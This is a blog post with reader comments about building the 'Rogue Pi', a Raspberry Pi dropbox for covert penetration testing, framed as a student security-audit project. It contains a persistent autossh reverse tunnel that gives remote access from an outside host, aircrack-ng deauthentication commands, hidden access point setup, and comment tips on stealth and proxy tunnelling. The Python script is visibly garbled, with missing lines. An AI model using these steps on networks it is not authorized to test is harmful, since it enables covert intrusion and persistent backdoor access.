(in)security Raspberry Pi based penetration dropbox for security auditing.

Published on March 20th, 2013 | by Kalen Wessel


Developing the Rogue Pi

Developing the Rogue Pi for my final project at BCIT was a great experience. It provided me the opportunity to play around with the Raspberry Pi and build something of valuable use. Instead of copying and pasting my final report into here, I will instead focus on a few points of the project that I found the most interesting.

Side Note: A full report with diagrams, installation guides, and all code will be uploaded at a later date.

60 Second Deployment

60s Timer

During a security audit scenario, the analyst is planting a device inside a network room. Spending a lot of time making sure the dropbox is working is out of the question. To minimize the risk of detection,  the Rogue Pi has been specially tweaked to allow for a speedy boot-up time meaning it can execute and complete the On Board System Check faster.

From the moment the Rogue Pi is powered up, it takes exactly 60 seconds for the device to boot-up, start the On Board System Check, and run through the tests. After the time is up, the analyst will know if the Rogue Pi has obtained Internet connectivity, pinged the default gateway, obtained an IP address, and connected back out through the reverse tunnel successfully. You can view the bootup time report at the bottom of this post. The BootChart gives a full breakdown of all the services and their respective startup times.

On Board System Check

The visual feedback system was definitely the most fun to develop because it gave me the chance to play around with the i2c bus and connect an external component to the Raspberry Pi via the GPIO interface.  No longer was I looking at a console to see if a throw statement spit out an error. Instead I was watching the Rogue Pi to see if the deep red hue was emitting from the LCD. When checks did go as intended I was greeted with a green display letting me know my code might be working – key word might.

Ping Google Test

#! /usr/bin/env python
# ______                           ______ __
# |   __ \.-----.-----.--.--.-----.|   __ \__|
# |      <|  _  |  _  |  |  |  -__||    __/  |
# |___|__||_____|___  |_____|_____||___|  |__|
#               |_____|              v1.0
# Author:	Kalen Wessel
# Date: 	February 16th, 2013
from time import sleep
from Adafruit_I2C import Adafruit_I2C
from Adafruit_MCP230xx import Adafruit_MCP230XX
from Adafruit_CharLCDPlate import Adafruit_CharLCDPlate
from subprocess import call
from sys import exit
from ConfigParser import SafeConfigParser
import smbus
import subprocess
import re
import socket
import fcntl
import struct
import paramiko
import socket
import signal
# DEFINE network interface
iface = 'eth0'
# INI file config file
# Load in user name and IP address of command center 
# for the reverse shell test
parser = SafeConfigParser()
ccIP = parser.get('reverse_shell', 'reverseDest')
# initialize the LCD plate
# use busnum = 0 for raspi version 1 (256MB) and busnum = 1 for version 2
lcd = Adafruit_CharLCDPlate(busnum = 1)
def TimeoutException(): 
def timeout(signum, frame):
    raise TimeoutException()
# Function which gets the IP address of a network interface
def get_ip_address(ifname):
    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    return socket.inet_ntoa(fcntl.ioctl(
        0x8915,  # SIOCGIFADDR
        struct.pack('256s', ifname[:15])
# Function which gets the Default Gateway IP address
def get_gateway(ifname):
    proc = subprocess.Popen("ip route list dev " + ifname + " | awk ' /^default/ {print $3}'", \
	shell=True, stderr=subprocess.PIPE, stdout=subprocess.PIPE)
    return_code = proc.wait()
    for line in proc.stdout:
    return line
def main():
	while 1:
		if (lcd.buttonPressed(lcd.LEFT)):
		if (lcd.buttonPressed(lcd.RIGHT)):
			# End of system check
# Function for running all of the system tests
def init_test():
	# clear display
    # Commented out to speed up overal test time
	# Starting On Board System Check
	lcd.message("    Rogue Pi\n  Kalen Wessel")
	# ---------------------
	# | Ping System Check |
	# ---------------------
	# Put stderr and stdout into pipes
	proc = subprocess.Popen("ping -c 2 google.com 2>&1", \
			shell=True, stderr=subprocess.PIPE, stdout=subprocess.PIPE)
	return_code = proc.wait()
	# Read from pipes
	# stdout
	for line in proc.stdout:
		if "loss" in line:
			packet_loss = progress = re.search('\d*%',line).group()
			if int(packet_loss.split('%')[0]) > 0:
				lcd.message("Ping Google:\nFailed")
				#print packet_loss + " packet loss."
				lcd.message("Ping Google:\nSuccess")
	for line in proc.stderr:
		print("stderr: " + line.rstrip())
	# --------------------
	# | Ping Default GW  |
	# --------------------
	ip_gateway = get_gateway(iface)
	proc = subprocess.Popen ("ping -c 2 " + ip_gateway + " 2>&1", \
			shell=True, stderr=subprocess.PIPE, stdout=subprocess.PIPE)
	return_code = proc.wait()
	# Read from pipes
	# stdout
	for line in proc.stdout:
	   if "loss" in line:
		   packet_loss = re.search('\d*%',line).group()
		   if int(packet_loss.split('%')[0]) > 0:
			   lcd.message("Ping Gateway:\nFailed")
			   #print ip_gateway + packet_loss + " packet loss for gateway." 
			   lcd.message("Ping Gateway:\nSuccess")
			   #print "Gateway is reachable"  
	# stderr
	for line in proc.stderr:
		print("stderr: " + line.rstrip())
	# --------------------
	# | DHCP IP Address  |
	# --------------------
	try :
		ip_address = get_ip_address(iface)
		lcd.message("IP:\n" + ip_address)
	except :
		lcd.message("No IP obtained")
	# -------------------
	# |  Reverse Shell  |
	# -------------------
		ssh = paramiko.SSHClient()
		ssh.connect(ccIP, username='twi7ch', password='none')
	except paramiko.AuthenticationException:
		lcd.message("Reverse Tunnel:\nSuccess")
	except socket.error:
		lcd.message("Reverse Shell: \nFailed")
	# Do we want to rerun the test?
	lcd.message("Run test again?")
	lcd.message("Yes = Left Btn\nNo = Right Btn")
	signal.signal(signal.SIGALRM, timeout)
	#change 5 to however many seconds you need
	except TimeoutException:
# Start the on board system check

Reverse Tunnel

Setting up and testing the reverse tunnel was another important milestone in the progress of the Rogue Pi. Setting up a persistent reverse SSH tunnel over Ethernet is the bread and butter of any pentesting dropbox. Without having the ability to gain access to the device on the corporate network, the device is pretty much rendered useless.

Since I have multiple services calling for usernames and passwords, I created a standard config file which gets read into autossh. I also have the Python code which handles the On Board System check. This is the layout of the config. It’s nothing fancy, but it works and allows for IP addresses and usernames to be managed from one location.


userName    = backd00ruser!
reverseDest =

This is where the magic happens:

set +e
SSH_OPTIONS=" -i /etc/tunnel/id_rsa"
# Always assume initial connection will be successful
# Disable echo service, relying on SSH exiting itself
# Read in the config file to grab the correct IP address
while read line; do
if [[ "$line" =~ ^[^#]*= ]]; then
        name[i]=`echo $line | cut -d'=' -f 1`
            value[i]=`echo $line | cut -d'=' -f 2-`
done < /home/sec/.reverse_config/setting.conf destUser=${value[0]} destIP=${value[1]} #to test, use (check out man ssh for explanation of options: #autossh -vv -- $SSH_OPTIONS -o 'ControlPath none' -R 10101:localhost:22 Twi7ch@ -N > /var/tunnel/user_sshlog.out 2> /var/tunnel/user_ssh_error.out &
#once proven, use (and rem out previous command):
autossh -vv -f -- $SSH_OPTIONS -o 'ControlPath none' -R 10101:localhost:22 ${destUser//[[:space:]]}@${destIP//[[:space:]]} -N > /var/log/tunnel/user_sshlog.out 2> /var/log/tunnel/user_ssh_error.out &


Below is an image showing what happens when the reverse SSH tunnel cannot connect back to the Command Center.

Reverse Tunnel

Wireless AP

Wireless Surveillance

Every office I’ve walked into has a few access points broadcasting SSIDs that are ready to be passively or actively probed. The 802.11 protocol is used by so many utilities now a days that is is a must to sniff the airwaves during a pentest. This is why the Rogue Pi is equipped with a wireless USB adapter; allowing for deauth attacks, capturing / packet injection, and creating Rogue Access Points.

Quick tip: When installing the aircrack-ng suite on Raspbian, pull from the following svn and run make with the unstable flag. The reason for unstable flag is to allow the use of the flag –ignore-negative-one. Depending on which wireless adapter you use, there is a kernel issue where it won’t allow you to select a broadcast channel. So to bypass this you use the –ignore-negative-one flag.

sudo apt-get remove --purge aircrack-ng
sudo apt-get install libssl-dev
sudo apt-get install subversion
cd ~ 
mkdir aircrack-ng
svn co http://trac.aircrack-ng.org/svn/trunk/ aircrack-ng
cd aircrack-ng/
sudo make unstable=true install

Here is an example demonstrating how to perform a deauth attack on the Rogue Pi using the flag to bypass the kernel problem.

# Put the card into monitor mode
sudo airmon-ng start wlan0 
# Search for nearby AP by issuing the command:
# --ignore-negative-one is to bypass the kernel issue where it locks to a channel
sudo airodump-ng -c 9 --ignore-negative-one mon0
# Write down the BSSID of the Access Point you wish to deauth.
# Issue the following command to deauth all clients on the AP:
# --ignore-negative-one is needed again to avoid locking to a channel
sudo aireplay-ng -0 0 -a BSSID --ignore-negative-one mon0

Hidden Access Point

The following setup will allow the user to access the Rogue Pi through the hidden SSID. This will allow for access to the device in the case where eth0 drops and cannot reinitialize a connection. Of course the major limitation is wireless range. The user must be within a 30 meter radius of the device in hopes of obtaining a strong enough signal.

Donwload the following services for running an Access Point on the Pi.

sudo apt-get install rfkill hostapd hostap-utils iw dnsmasq
Edit the network interface so that wlan0 automatically start onboot.
sudo nano /etc/network/interfaces
# The wireless network interface
allow-hotplug wlan0
iface wlan0 inet static

Restart wlan0 by bringing down and up the interface

sudo ifdown wlan0
sudo ifup wlan0

Next modify the hostapd settings.

sudo nano /etc/hostapd/hostapd.conf
# Wireless interface
# Default driver
# SSID name that must be known by the client
# Broadcast channel
# Send empty SSID in beacons and ignore probe request frames that do not
# specify full SSID, i.e., require stations to know SSID.
# default: disabled (0)
# 1 = send empty (length=0) SSID in beacon and ignore probe request for
#     broadcast SSID
# 2 = clear SSID (ASCII 0), but keep the original length (this may be required
#     with some clients that do not support empty SSID) and ignore probe
#     requests for broadcast SSID

Restart the hostapd service to force the changes to kick in.

sudo service hostapd restart

The last service the Rogue Pi needs configured before you can connect is DHCP. This is what distributes IP addresses to devices that connect to the Rogue Pi.

sudo nano /etc/dnsmasq.conf
# Make sure the following lines are uncommented 

Restart dnsmasq so that it loads in the new changes

sudo service dnsmasq restart

The Rogue Pi is now running as a (semi) hidden access point. Anyone running software like Kismet or any Wifi Analyer will easily detect the hidden AP so don’t count on it staying under the radar for too long. As you can see below, from my Android phone I have manually added the SSID RoguePi and have successfully connected.

Adding the RoguePi APConnected to the AP

To demonstrate the weakness, here is a Wifi Analyzer App running from my phone showing me the Rogue Pi, even though hostapd has been configured not to broadcast its existence.

Wifi Analyzer App

Adding a WPA2 passphrase would be a good start to securing the AP in case of detection, but since this is just a Proof of Concept I left that out. The airwaves are just a little bit more dangerous now.

Tools Tree

Here is a quick break down of the tools supported by the Rogue Pi. Most tools were compiled from source. (You can never be too paranoid)

Tools Tree

Video Demonstration

To fully understand how the On Board System check works as well as the reverse shell, I created a short video to demo it. (The video is best viewed in full screen at 720p)


Item Cost Source
Raspberry Pi Model B 512MB RAM $39.95 Adafruit
Adafruit RGB Negative 16×2 LCD+Keypad Kit for Raspberry Pi $24.95 Adafruit
Adafruit Pi Box – Enclosure for Raspberry Pi Computers $14.95 Adafruit
Protronix® USB Wireless Network WIFI Adapter w/ 5dBi Antenna $10.67 Amazon
Patriot LX 16GB SDHC Class 10 $10.00 NCIX
Cat5 Network Cable $0.00 Basement
USB Power $0.00 Basement
Total: $100.52

Conclusion / Improvements

The Raspberry Pi has certainly proven itself in my eyes as a plausible platform for building low-cost penetration dropboxes. Its adaptive nature allows for so much expansion. Adding Bluetooth or even 3G capabilities could add for better covert data exfiltration. Due to deadlines with school I had to limit what I would do, but going forward I would love to build physical cases for the device to streamline the LCD, Wireless, and tactile buttons. Adding an external power source for scenarios where no free power outlet is available would be another good future improvement. There are many areas for improvement and hopefully over the summer I will find some time to play around with these ideas.

Boot Chart Diagram (Click for full view)

Bootchart Report



This project wouldn’t have been possible without the help of so many useful guides and forum posts online. Here is a complete list of all sources I used during the making of the Rogue Pi.

Tutorial: Developing a Raspberry PI app with Visual Studio
Raspberry Pi Owncloud (dropbox clone)
asb/spindle · GitHub
Adafruit Pi Box – With LCD & RS232 DB9 by waterbury – Thingiverse
Modified Adafruit case design with LCD ^_^ : raspberry_pi
Adafruit Blue&White 16×2 LCD+Keypad Kit for Raspberry Pi ID: 1115 – $19.95 : Adafruit Industries, Unique & fun DIY electronics and kits
I2C_LCD, with 16×2 LCD, BitWizard
Raspberry Pi • View topic – 16 x 2 LCD case screen
pwnieexpress/Raspberry-Pwn · GitHub
How To : Use The Raspberry Pi As A Wireless Access Point/Router Part 1 » The Rantings and Ravings of a Madman
raspbian – Boot without starting X-server – Raspberry Pi Beta – Stack Exchange
RaspbianInstaller – Raspbian
FrontPage – Raspbian
RPi Performance – eLinux.org
Raspberry Pi Raspbian tuning / optimising / optimizing for reduced memory usage ( dropbear + getty + no ipv6 + dash + swap + noop + overclock + syslogd ) – eXtremeSHOK.com Blog
text_styles.jpg (639×408)
command line – Can’t install aircrack-ng – Ask Ubuntu
Raspberry Pwn: A pentesting release for the Raspberry Pi | Pwnie Express
Occu-Pi – A Raspberry Pi Project (Updated 11/01/12) | Robert’s Frellin Blog
ha pi – ha(ck with raspberry)pi
Bed Against The Wall: Ubuntu 10.10: “fixed channel mon0: -1” Aircrack Problem With iwl3945
aircrack-ng usage and compat-wireless | PWNPI.NET
Running an I2P Svartkast on the Raspberry Pi: Even more cheap hardware to leave on someone else’s network
update PwnPi v3.0 – A Pen Test Drop Box distro for the Raspberry Pi
Cloning an SD Card on Linux – Mike Levin
Raspberry Pi • View topic – Clone sd card
Raspberry Pi • View topic – WiFi RT3070 problem
packages – sudo apt-get upgrade fails due to shared-mime-info.postinst error – Ask Ubuntu
shell-commands20050327.png (1153×1558)
Wardrive, Raspberry Pi Style! – SpiderLabs Anterior
Overview | Adafruit 16×2 Character LCD + Keypad for Raspberry Pi | Adafruit Learning System
How to Bruteforce SSH « ID’s blog
Raspberry Pi • View topic – Hidden/Sneaky Cases
How to use the I2C and SMBus
Pi-Point :: Documentation
Ubuntu / Debian Linux: Services Configuration Tool to Start / Stop System Services
Gooscan – Aldeid
Chapter 3. Usage
onesixtyone SNMP scanner
smap – Linux command to look for VoIP devices
Pentesting VOIP – BackTrack Linux
VOIPSA : Resources : VoIP Security Tools

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About the Author

is a multidisciplinary systems administrator. Whether it's auditing network security, implementing scale-able systems, or providing technical services - he makes it his focus to perform due diligence on all his tasks.

55 Responses to Developing the Rogue Pi

  1. brendan says:

    Outstanding post, at work now but plan on digging into the code later.

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  7. Hi,

    What you also could do is: when connected to a network, look for a host called “wpad”. Usually that is a proxy listening on e.g. 8080, 8000 or 3128. You could then tunnel the ssl connection through that. That needs some trickery when it is a microsoft proxy server using ntlm authentication.

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  12. Robert says:

    Wondered if you had plans to make a distro image available? Seems the svn for aircrack is failing with some weird error. Thought an image would be a better way to start.


    • Kalen Wessel says:

      Hey Robert,

      I can try and build a base image – but it won’t be for a while.
      What errors are you getting when you try to pull from the svn?


      • Robert says:

        Something like E175002: The options request returned invalid XML in the response: XML parse error at line 23…..

        Ever seen that? I a, going to pull it on another device and see if I get same error.

  13. Ming says:

    Great post thank you

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  17. robbie says:


    This idea looks brilliant i think if you want a pentest distro you should look at pwn-pi as this has all the bits you would need and wireless drivers that do packet injection.

    Have you made any further advancements with this code i.e crack wep display key etc?

  18. Sean says:

    Ermahgerd! lol Awesome work, im putting together the hardware right now to try this out, could you post those diagrams?

    • Kalen Wessel says:

      Thanks. I’m currently away traveling so I don’t have easy access to any diagrams. Which ones did you need?

      • Sean says:

        Was looking for the build diagrams for the LCD screen, i have it done i just wanted to check and see if you had them available, the blueprints available from the manufacturer show how to put it together using only a breadboard and not constructing it to fit on the Pi so i figured they’d be helpful for anyone trying to duplicate this with only functional knowledge of circuit boards. Running this on PwnPi and have the LCD programmed to dictate several functions to call other programs along with your code. I fell in love with this project once i saw it so thank you for being on the forefront of pen testing!

  19. Smstext says:

    Hi did you ever make this into a distro, would love to try it.

  20. robbie says:

    Just an update for the SSL tunnel how about using hamachi? normally gets around everything for you and then you can connect back?

    • Kalen Wessel says:

      It would be something to consider. Sshuttle is something I want to test next but hamachi isn’t a bad idea either.

    • Eric says:

      I’m using hamachi and it works just fine but I haven’t tried it “in the wild”.
      You may have trouble dealing with firewalls.

  21. Daniel Ford says:

    Very cool project. I am new to raspberry pi and want to make my pi into the Rogue Pi. Is there an easy way to download it to my pi and what kind of OS do I need to run? I have Debian “wheezy” running on it right now.

  22. Pat Dal says:

    Man, I just love your project! Congrats|

    I might try it on my arch distro… any hints?

    • Kalen Wessel says:

      Thanks Pat, it was a lot of fun building the RoguePi and I’m glad people are still reading about it.

      What kind of hints are you looking for? You should be able to recreate everything I did on your arch distro. Only thing to research in advance in driver support.

      • Pat Dal says:

        Your project should get more visibility, it’s an interesting way of exploring the possibilities of the Raspberry PI.

        I was more looking for “do and don’t” and then I saw your report. Thanks for sharing! Answers all my questions.

        Any plans for the future?

  23. Casey says:


    i decided to undertake this project but i had some difficulties running the main code after setting up the reverse tunnel (i also decided to omit the wireless access point because i don’t have an adapter handy, only ethernet) and I get the following error:

    File “rogue.py”, line 215
    Reverse Tunnel
    SyntaxError: invalid syntax

    also, do i need to install paramiko? because i notice it inside the code but didn’t see any mention in this article. Thanks.

  24. Nick says:

    did you ever get around to posting full instructions from building the physical device and how to upload and use all code required for this to work?

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  31. Eric says:

    Hey, I’ve been planning on building something similar for awhile and finally got down to it.
    I’ve got it to the point that I’m happy to share my first git post.

    I’m using a PiTFT screen though. Don’t have pictures up yet but I hope to add an on screen menu to choose exploits / tools and enter IP information.

    I borrowed a lot of your code to get/ping IP, google and defaultgw.


    This is my first real “Project” so let me know what you think.

    • Kalen Wessel says:

      Nice work! A touch screen will definitely modernize this project. You could have a menu item for tunneling and then allow the users to select a couple different options (SSH, OpenVPN, Hamachi, etc) and return a tunnel status. In my opinion pentesting tools should be stealthy so you could make the touch screen on boot show some bogus temperature info and only after sliding a secret pattern show the rogue menu.

      Having a couple prescripted commands that can be activated by the menu system would be nice. Here are a couple that come to mind:
      • Status Report of the Rogue Pi: IP, Tunnel Up or Down, Gateway, Internet Connectiviy,

      • nmap portscan (you’d need to a script which could gather a bit of info about the network and pass that info into the nmap arguments but shouldn’t be hard.) Have the screen show a progress bar so you can determine how long that scan is going to take and then dump the contents into a file and print the location on the screen

      • Enable / Disable Wireless Adapter

      • Airmon-ng: Assuming you have a network adapter perform a quick scan of the airwaves and print out a scrollable list of nearby APs (SSID, single strength, encryption Type, BSSID)

      • Tunneling Options

      • Self-destruct mode

      I’m not sure how far you want to take the project but building an enclosure for it would be pretty awesome as well. 3D printing is getting cheaper and cheaper so building a case which could cover the pi and perhaps a wireless dongle would make it look like a professional tool. I always wanted to do that with my version but I was on a tight deadline for my practicum.

      • Eric says:

        All awesome ideas and all goals for the future. Luckily (and unluckily) I’m not on a deadline so it’s been slow putting together. It’s also my learn how to python project so there’s a learning curve that slows me down but I enjoy it. I got excited today when I got the status screen up and running.

        I have an enclosure but in the long run I would like to get something designed. Preferable in metal and a matte black so it wouldn’t look out of place in a network closet / server rack. I love the idea of the bogus temperature menu. I’ll be looking into adding something like that.

        I appreciate you taking a look at it, any input is welcome.

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  33. Kurt Roeske says:

    Great job! Curious as to have you got around to doing any of the requests above?

    Also, would you recommend and would it work with the new Pi 2?

    When I try and click on your links it asks for me to log in with username and password.

    Thanks for your time.

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